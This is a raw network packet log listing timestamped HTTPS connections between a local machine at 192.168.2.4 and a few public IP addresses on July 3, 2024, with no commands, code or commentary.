Jul 3, 2024 23:50:09.370978117 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.371010065 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.371040106 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.371047020 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.371052027 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.371088982 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.371093035 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.372318029 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.372371912 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.372378111 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.379656076 CEST	49749	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:09.379666090 CEST	443	49749	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:09.411855936 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.411863089 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.457576036 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.465787888 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.465838909 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.465867996 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.465878010 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.465883970 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.465919971 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.465920925 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.465930939 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.465970039 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.465972900 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.465981007 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.466021061 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.466419935 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.466464043 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.466502905 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.466507912 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.466629982 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.466670036 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.466675043 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.467603922 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.467633009 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.467652082 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.467658997 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.467698097 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.467773914 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.468276978 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.468310118 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.468322039 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.468326092 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.468358040 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.468363047 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.468368053 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.468415976 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.469434977 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.519774914 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.557997942 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.558053017 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.558079004 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.558111906 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.558113098 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.558123112 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.558151007 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.558995008 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.559036970 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.559041977 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.559070110 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.559115887 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.559120893 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.559158087 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.559803009 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.559855938 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.559878111 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.559919119 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.560713053 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.560765982 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.561378002 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.561429024 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.561764002 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.561799049 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.561816931 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.561821938 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.561846018 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.561861992 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.562743902 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.562793016 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.563705921 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.563745022 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.563752890 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.563756943 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.563785076 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.564649105 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.564698935 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.564703941 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.564743996 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.565054893 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.565083027 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.565102100 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.565107107 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.565125942 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.565145016 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.652219057 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652283907 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.652347088 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652400970 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.652453899 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652507067 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.652549982 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652592897 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652595997 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.652606010 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652633905 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.652709961 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652751923 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.652755976 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652762890 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652792931 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.652817011 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:09.652864933 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.653814077 CEST	49748	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:09.653820992 CEST	443	49748	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:10.437161922 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.437186003 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:10.437333107 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.454123020 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.454134941 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:10.831424952 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.831455946 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:10.831823111 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.831823111 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.831851959 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:10.953418970 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:10.953733921 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.953744888 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:10.954462051 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:10.954965115 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.954965115 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:10.955018997 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.005656004 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.090370893 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.090420008 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.091311932 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.091402054 CEST	49752	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.091413975 CEST	443	49752	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.306657076 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.306946993 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.306963921 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.307238102 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.307708025 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.307708025 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.307722092 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.307760000 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.399563074 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.456593990 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.456638098 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.456695080 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.458879948 CEST	49753	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.458889961 CEST	443	49753	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.463018894 CEST	49754	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.463032007 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.463181973 CEST	49754	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.463839054 CEST	49754	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.463849068 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.695729971 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.695758104 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.695887089 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.696150064 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.696161032 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.931848049 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.932176113 CEST	49754	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.932189941 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.932529926 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.932852983 CEST	49754	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.932913065 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:11.932988882 CEST	49754	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:11.980506897 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.079452991 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.079510927 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.079569101 CEST	49754	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.080279112 CEST	49754	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.080288887 CEST	443	49754	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.169141054 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.169365883 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.169378996 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.169961929 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.170278072 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.170365095 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.170408964 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.213521957 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.213532925 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.303086996 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.303167105 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.303283930 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.303293943 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.303389072 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.303441048 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.304517031 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.304517031 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.304532051 CEST	443	49755	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.304589033 CEST	49755	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.347570896 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.347604036 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.347786903 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.348432064 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.348445892 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.813832045 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.814737082 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.814754009 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.815033913 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.815970898 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.816023111 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.829076052 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.829076052 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.829109907 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:12.831758022 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:12.831770897 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062293053 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062330961 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062361002 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062398911 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062428951 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062434912 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.062448025 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062468052 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.062478065 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062728882 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.062737942 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062841892 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062869072 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.062870026 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.062880039 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.063047886 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.067049980 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.067260981 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.151581049 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.151659012 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.151789904 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.151882887 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.151907921 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.151940107 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.151968002 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.151978016 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.151988029 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.152008057 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.152034044 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.153445005 CEST	49756	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.153455973 CEST	443	49756	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.190208912 CEST	49757	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.190233946 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.190506935 CEST	49757	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.195352077 CEST	49757	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.195363998 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.669883013 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.671087027 CEST	49757	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.671097994 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.671410084 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.673048019 CEST	49757	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.673113108 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.673923016 CEST	49757	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.716500044 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.818160057 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.818212032 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:13.818263054 CEST	49757	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.819369078 CEST	49757	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:13.819382906 CEST	443	49757	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:15.767353058 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:15.767398119 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:15.767446995 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:17.176553965 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:17.176573038 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:33.922472000 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:33.922504902 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:33.922578096 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:33.923207045 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:33.923223972 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.400872946 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.411771059 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.411791086 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.412174940 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.412918091 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.412987947 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.413183928 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.413275003 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.413292885 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.413346052 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.413357019 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.413400888 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.413414955 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.662260056 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.662329912 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.662373066 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.662399054 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.662475109 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.662524939 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.662537098 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.662549019 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.662591934 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.663815975 CEST	49764	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.663840055 CEST	443	49764	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.685303926 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:34.685345888 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:34.685579062 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:34.685842037 CEST	49766	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:34.685849905 CEST	443	49766	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:34.685951948 CEST	49766	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:34.687901974 CEST	49766	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:34.687916040 CEST	443	49766	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:34.688064098 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:34.688076019 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:34.692574024 CEST	49767	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.692599058 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:34.692996979 CEST	49767	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.693587065 CEST	49767	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:34.693597078 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:35.188023090 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:35.188534021 CEST	49767	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:35.188549042 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:35.188904047 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:35.189224005 CEST	49767	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:35.189287901 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:35.189474106 CEST	49767	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:35.209546089 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.209784985 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.209794998 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.210249901 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.210625887 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.210711002 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.210792065 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.210817099 CEST	49765	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.210830927 CEST	443	49765	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.214968920 CEST	443	49766	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.215182066 CEST	49766	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.215189934 CEST	443	49766	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.215518951 CEST	443	49766	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.215830088 CEST	49766	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.215892076 CEST	443	49766	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:35.236507893 CEST	443	49767	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:35.270822048 CEST	49766	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:35.340620041 CEST	443	49767	104.17.2.184	192.168.2.4
